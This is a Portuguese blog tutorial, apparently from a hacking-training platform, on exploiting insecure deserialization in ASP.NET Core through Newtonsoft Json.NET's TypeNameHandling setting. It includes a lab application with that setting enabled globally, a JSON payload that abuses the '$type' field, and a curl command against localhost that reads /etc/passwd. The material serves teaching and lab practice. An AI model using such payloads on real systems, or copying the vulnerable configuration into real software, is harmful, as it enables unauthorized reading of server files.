Explorando desserialização insegura em ASP.NET Core
Nesse artigo abordaremos a exploração de desserialização insegura em aplicações que fazem uso do ASP.NET Core. Antes de mergulharmos nos detalhes desse tópico, é crucial compreender o que é .NET Core e ASP.NET Core.
O que é .NET Core e ASP.NET Core?
O .NET Core é uma versão do .NET que oferece compatibilidade nos sistemas operacionais Linux, Windows e macOS. Desenvolvido pela Microsoft, o .NET abrange diversas linguagens de programação, incluindo C#, F# e VB.NET. Dentro do ecossistema do .NET, temos o ASP.NET e o ASP.NET Core, ambos destinados ao desenvolvimento de aplicativos web e APIs.
O que é desserialização insegura?
A desserialização insegura é uma vulnerabilidade que permite com que o atacante controle objetos que estão sendo desserializados pela aplicação. Os riscos associados a essa falha de segurança variam desde simples ataques de negação de serviço (DoS) até a execução remota de código (RCE) no servidor-alvo.
Explorando desserialização insegura
No processo de explorar a desserialização insegura, é importante mencionar uma biblioteca amplamente empregada em aplicações ASP.NET: o "Newtonsoft Json.NET." Essa biblioteca desempenha um papel significativo na manipulação de dados em formato JSON. Vamos examinar como ocorre a serialização e desserialização de dados utilizando essa biblioteca.
Entendendo a serialização
Para realizar a serialização de objetos e convertê-los em formato JSON por meio do Newtonsoft Json.NET, empregamos o método "SerializeObject," conforme ilustrado no exemplo a seguir:
User newUser = new User { Name = "Jhon", Email = "[email protected]", Age = 20 };
string json = JsonConvert.SerializeObject(newUser);
Console.WriteLine(json);
O output dessa serialização seria:
{"Name": "Jhon", "Email": "[email protected]", "Age": 20}
Entendendo a desserialização
Para realizar a desserialização do JSON, empregamos o método DeserializeObject<Object>. A seguir, apresentamos um exemplo:
Classe User:
public class User
{
public string Name { get; set; }
public string Email { get; set; }
public int Age { get; set; }
}
Json:
{"Name": "Jhon", "Email": "[email protected]", "Age": 20}
AIMPORTANTE: Ao realizar a desserialização do objeto, precisamos especificar o tipo do objeto.
string jsonInput = "{\"Name\": \"Jhon\", \"Email\": \"[email protected]\", \"Age\": 20}";
User newUser = JsonConvert.DeserializeObject<User>(jsonInput);
Console.WriteLine($"Name: {newUser.Name}");
Observa-se que o tipo do objeto foi especificado em "DeserializeObject<User>".
TypeNameHandling e seus problemas de segurança
O TypeNameHandling é uma opção que podemos configurar no Newtonsoft Json.NET. Com essa opção habilitada, os objetos serializados possuem o campo "$type", que revela o tipo do objeto. Durante a desserialização desses dados, não é necessário especificar manualmente o tipo de objeto, pois o campo "$type" já indica para o Newtonsoft Json.NET qual é o tipo do objeto.
Exemplo de serialização com TypeNameHandling
User newUser = new User { Name = "Jhon", Email = "[email protected]", Age = 20 };
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
};
string json = JsonConvert.SerializeObject(newUser, settings);
Console.WriteLine(json);
O json gerado pela serialização seria parecido com o abaixo:
{
"$type": "Namespace.User, AssemblyAppName",
"Name": "Jhon",
"Email": "[email protected]"
"Age": 20
}
Exemplo de desserialização com TypeNameHandling
string jsonInput = "{\"$type\": \"Namespace.User, AssemblyAppName\", \"Name\": \"Jhon\", \"Email\": \"[email protected]\", \"Age\": 20}";
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All
};
User newUser = JsonConvert.DeserializeObject(jsonInput);
Console.WriteLine($"Name: {newUser.Name}");
Perceba que agora não necessita especificar o tipo de objeto na desserialização, pois o Newtonsoft Json.NET irá obter o tipo no campo "$type".
Problemas de segurança
Conforme mencionado anteriormente, o campo "$type" no json especifica o tipo do objeto que foi serializado. Dessa forma, o objeto indicado nesse campo será chamado no processo de desserialização. Agora, considere a seguinte situação: um usuário mal intencionado modifica o Json especificando outro objeto da aplicação no campo "$type". Isso permitiria a esse usuário acessar e modificar propriedades de outros objetos da aplicação.
Exemplo de ataque
Ao analisar o código fonte da aplicação, vemos que o TypeNameHandling foi configurado globalmente:
Ao examinar a Controller "ExampleController", vemos que a rota "/api/example" no método GET retorna um objeto do tipo "UserModel", e no método POST é esperado um Json com o objectType "UserModel":
Enviando uma requisição GET para "/api/example":
{
"$type":"UserModel, Example",
"name":"tris0n",
"email":"[email protected]",
"age":16,
"personalInfo": {
"$type":"PersonalInfo, Example",
"cpf":"999.999.999-99"
}
}
Perceba que na propriedade "personalInfo" é retornado um objeto do tipo "PersonalInfo".
Analisando o objeto UserModel:
Observamos que no objeto "UserModel" existe a propriedade "PersonalInfo", e ela é do tipo "object". Isso implica que podemos definir qualquer tipo de objeto nessa propriedade. Ao analisar o Json que recebemos, notamos que o objeto "PersonalInfo" foi especificado na mesma forma.
Analisando o objeto "PersonalInfo":
Vemos que ele possuí apenas uma propriedade: "CPF".
Analisando o objeto "ConfigModel":
Observamos que o getter da propriedade "configContent" lê o arquivo especificado na propriedade "configPath". Em outras palavras, se conseguirmos acessar esse objeto podemos ler arquivos do servidor.
Conforme analisado anteriormente, podemos realizar uma requisição POST para a rota "/api/example" enviando um objeto do tipo "UserModel":
Ao enviar um objeto do tipo "UserModel", a aplicação retorna o próprio objeto que enviamos. Embora este endpoint aceite apenas objetos do tipo "UserModel," observamos que dentro desse objeto, a propriedade "personalInfo" aceita objetos de qualquer tipo,com isso, podemos chamar outros objetos da aplicação.
Explorando vulnerabilidade e lendo arquivos do servidor
Como visto anteriormente, existe o objeto "ConfigModel", e ao obtermos o controle nos valores de suas propriedades conseguimos ler arquivos do servidor alvo.
Podemos especificá-lo na propriedade "personalInfo":
{
"$type":"UserModel, Example",
"name":"tris0n",
"email":"[email protected]",
"age":16,
"personalInfo":{
"$type":"ConfigModel, Example"
}
}
Vemos que recebemos um Json contendo as propriedades do objeto "ConfigModel". Isso significa que conseguimos chamar o objeto. Alterando a propriedade "configPath" para "/etc/passwd", conseguimos ler o arquivo com sucesso:
Payload utilizada:
{
"$type":"UserModel, Example",
"name":"tris0n",
"email":"[email protected]",
"age":16,
"personalInfo":{
"$type":"ConfigModel, Example",
"configPath": "/etc/passwd"
}
}
Exploração utilizando curl:
curl http://localhost:5023/api/example -H "Content-type: application/json" -d '{"$type":"UserModel, Example","name":"tris0n","email":"[email protected]","age":16,"personalInfo":{"$type":"ConfigModel, Example", "configPath": "/etc/passwd"}}' | jq
Nesse cenário específico foi possível ler arquivos do servidor, mas em outros cenários, talvez conseguiríamos apenas um DoS, ou até mesmo um RCE, assim comprometendo o servidor alvo.
A desserialização insegura será diferente em cada aplicação, e se tivermos acesso ao código fonte, a possibilidade de obtermos RCE são significativas.
Esse post abordou apenas uma maneira de explorar desserialização insegura, utilizando TypeNameHandling da biblioteca Newtonsoft Json.NET. No entanto, existem diversas formas de ataques à desserialização insegura em ASP.NET Core.
Observação: O laboratório utilizado nesse post está disponibilizado em nosso github. Acesse o link do repositório abaixo:
Onde encontramos desserialização insegura?
Como dito anteriormente, para explorarmos desserialização insegura e impactarmos o servidor de uma maneira significativa, precisamos analisar o código da aplicação alvo. Seguindo essa linha de pensamento, a desserialização insegura é muito encontrada em aplicações e bibliotecas open-source que manipulam dados serializados, pois temos acesso livre ao código fonte. Veja abaixo algumas CVEs que exploram desserialização insegura:
Laboratório utilizado:
Referências
https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
Onde praticar desserialização insegura ?
Atualmente o hackingclub possuí diversos CTFs em que podem ser explorados desserialização insegura, em diversos contextos e linguagens diferentes.
O Hacking Club é uma plataforma de treinamento em cybersecurity, que permite você aprender hacking de forma totalmente prática.
Temos mais de 100 ambientes com vulnerabilidades reais com write-ups para você treinar e aprender hacking.
Semanalmente lançamos máquinas gratuitas para você praticar e se desafiar no hacking!